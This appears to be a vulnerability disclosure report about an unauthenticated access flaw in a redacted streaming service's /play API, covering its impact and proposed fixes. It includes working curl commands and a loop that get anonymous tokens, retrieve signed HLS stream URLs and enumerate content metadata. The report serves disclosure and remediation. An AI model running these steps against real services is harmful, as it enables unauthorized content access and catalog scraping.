Unauthenticated Access to Media Stream URLs and Content Metadata via `/play` Endpoint
- Improper Access Control
Target: www.[REDACTED] — /api/v1.0/medias/{id}/play CVSS v3.1 Score: 6.5 (Medium) CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
Summary#
The endpoint GET /api/v1.0/medias/{id}/play returns full playback data — including signed HLS stream URLs for video content — to any caller holding an anonymous (guest) token. Anonymous tokens can be obtained in unlimited quantities without authentication or rate limiting via POST /api/v1.0/accounts/login/by-anonymous.
Any unauthenticated user can:
- Obtain an anonymous token (no credentials required).
- Enumerate content IDs (sequential integers in the ~100,000–272,000 range).
- Request playback info for any content item — receiving signed HLS stream URLs for free/public content.
- Access full content metadata (title, description, categories, billing flags) for all content including paid/subscriber-only titles.
The endpoint also leaks operational information: user ISP name (internetProvider), VPN detection result (vpnDetected), and a new user GUID (userGuid) on every call.
Impact#
- Unauthorized stream access: For content with
contentPlayAccessType: "Free"orloginRequired: false, full signed HLS stream URLs are returned to unauthenticated users, allowing them to stream content without registering or paying. The stream was confirmed as playable (HLS manifest verified). - Content catalog enumeration: All content metadata (titles, descriptions, categories, subscription tiers) is enumerable without authentication, providing competitive intelligence and a full catalog scrape attack surface.
- Billing model bypass: The
hasBillingAccess: trueflag appeared in the anonymous session response, suggesting potential ACL misconfiguration for paid content (requires further verification with a registered paid account). - Information leakage: Every response exposes the caller's ISP name, VPN detection status, and a fresh UUID-format user GUID — a fingerprinting vector.
Evidence#
Step 1: Obtain anonymous token#
curl -s -X POST \
-H "Content-Type: application/json" \
-H "Accept: application/json" \
-d '{}' \
"https://www.[REDACTED]/api/v1.0/accounts/login/by-anonymous"Response:
{
"succeeded": true,
"result": {
"anonymousToken": "[REDACTED]",
"isLogin": false
},
"error": null
}Response headers also include:
x-user-guid: [REDACTED]
x-user-type: 1Step 2: Access playback data unauthenticated#
TOKEN="[REDACTED]"
curl -s \
-H "Accept: application/json" \
-H "Authorization: Bearer $TOKEN" \
"https://www.[REDACTED]/api/v1.0/medias/271952/play"Response (truncated):
{
"succeeded": true,
"result": {
"media": {
"id": 271952,
"caption": "[REDACTED title]",
"type": "Live"
},
"userGuid": "[REDACTED]",
"isRegistered": false,
"loginRequired": false,
"hasBillingAccess": true,
"aclPlayable": true,
"contentPlayAccessType": "Free",
"vpnDetected": false,
"internetProvider": "[REDACTED]",
"domain": "https://[REDACTED-live-host]/live/c/6/hls/stream.m3u8",
"absolutePath": "https://[REDACTED-live-host]/live/c/6/hls/stream.m3u8?x=[REDACTED]",
"relativePath": "/live/c/6/hls/stream.m3u8?x=[REDACTED]"
}
}Step 3: Verify HLS stream is playable#
curl -s "https://[REDACTED-live-host]/live/c/6/hls/stream.m3u8?x=[REDACTED]"Response:
#EXTM3U
#EXT-X-VERSION:3
#EXT-X-STREAM-INF:PROGRAM-ID=1,BANDWIDTH=1008000,RESOLUTION=480x270,...
stream_480/index.m3u8?x=[REDACTED]
#EXT-X-STREAM-INF:PROGRAM-ID=1,BANDWIDTH=1344000,RESOLUTION=640x360,...
stream_640/index.m3u8?x=[REDACTED]
#EXT-X-STREAM-INF:PROGRAM-ID=1,BANDWIDTH=7200000,RESOLUTION=1920x1080,...
stream_1920/index.m3u8?x=[REDACTED]Live 1080p HLS stream confirmed accessible without authentication.
Step 4: Content catalog enumeration#
for id in 100000 230000 240000 260000 271952; do
curl -s -H "Authorization: Bearer $TOKEN" \
"https://www.[REDACTED]/api/v1.0/medias/$id/play" \
| python3 -c "
import sys,json
d=json.load(sys.stdin)
r=d.get('result',{})
m=r.get('media',{})
print(m.get('id'), m.get('caption'), r.get('loginRequired'), r.get('contentPlayAccessType'))
"
doneOutput:
100000 [REDACTED title] True None
230000 [REDACTED title] True None
240000 [REDACTED title] True None
260000 [REDACTED title] True None
271952 [REDACTED title] False FreeTitles, types, and login requirements for all content accessible without credentials.
Steps to Reproduce#
POST https://www.[REDACTED]/api/v1.0/accounts/login/by-anonymouswith empty JSON body{}→ receiveanonymousToken.GET https://www.[REDACTED]/api/v1.0/medias/{id}/playwithAuthorization: Bearer <anonymousToken>.- Iterate over content IDs in the ~100,000–272,000 range.
- For any content with
aclPlayable: trueandabsolutePathset, retrieve and play the HLS stream directly via the returned URL.
Tools Used#
curl(v8.11.1)python3(JSON parsing)
Activities Log#
| Time (UTC) | Activity |
|---|---|
| 2026-05-23 12:58 | Called POST /api/v1.0/accounts/login/by-anonymous → received anonymous token |
| 2026-05-23 13:01 | Called GET /api/v1.0/medias/live/playing → discovered media ID 271952 |
| 2026-05-23 13:01 | Called GET /api/v1.0/medias/271952/play with anonymous Bearer → received full HLS URL |
| 2026-05-23 13:02 | Verified HLS stream manifest from [REDACTED-live-host] — confirmed playable |
| 2026-05-23 13:03 | Probed IDs 100000, 230000, 240000, 260000 — confirmed metadata accessible for all |
Content was not actually streamed/downloaded beyond verifying the HLS manifest structure.
Recommended Fix#
- Require a valid authenticated session (non-anonymous) for
/api/v1.0/medias/{id}/playon any content whereloginRequired: true. - Do not include signed stream
absolutePathURLs in responses to anonymous tokens, regardless ofcontentPlayAccessType. - Strip
hasBillingAccess,vpnDetected,internetProvider, anduserGuidfrom responses to unauthenticated callers. - Implement content ID enumeration protection (non-sequential IDs or per-IP rate limiting on the
/playendpoint).